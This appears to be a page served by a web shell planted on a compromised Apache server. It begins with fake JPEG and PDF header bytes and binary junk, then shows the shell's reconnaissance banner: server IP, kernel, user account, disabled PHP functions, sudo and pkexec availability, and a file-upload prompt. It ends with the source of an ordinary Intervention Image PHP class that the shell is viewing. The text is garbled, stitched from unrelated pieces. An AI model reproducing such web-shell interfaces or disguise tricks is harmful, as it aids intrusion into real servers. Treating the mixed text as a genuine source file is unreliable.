ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/intervention/image/src/Intervention/Image/ |
Upload File : |
<?php namespace Intervention\Image; abstract class AbstractShape { /** * Background color of shape * * @var string */ public $background; /** * Border color of current shape * * @var string */ public $border_color; /** * Border width of shape * * @var integer */ public $border_width = 0; /** * Draws shape to given image on given position * * @param Image $image * @param integer $posx * @param integer $posy * @return boolean */ abstract public function applyToImage(Image $image, $posx = 0, $posy = 0); /** * Set text to be written * * @param string $text * @return void */ public function background($color) { $this->background = $color; } /** * Set border width and color of current shape * * @param integer $width * @param string $color * @return void */ public function border($width, $color = null) { $this->border_width = is_numeric($width) ? intval($width) : 0; $this->border_color = is_null($color) ? '#000000' : $color; } /** * Determines if current shape has border * * @return boolean */ public function hasBorder() { return ($this->border_width >= 1); } }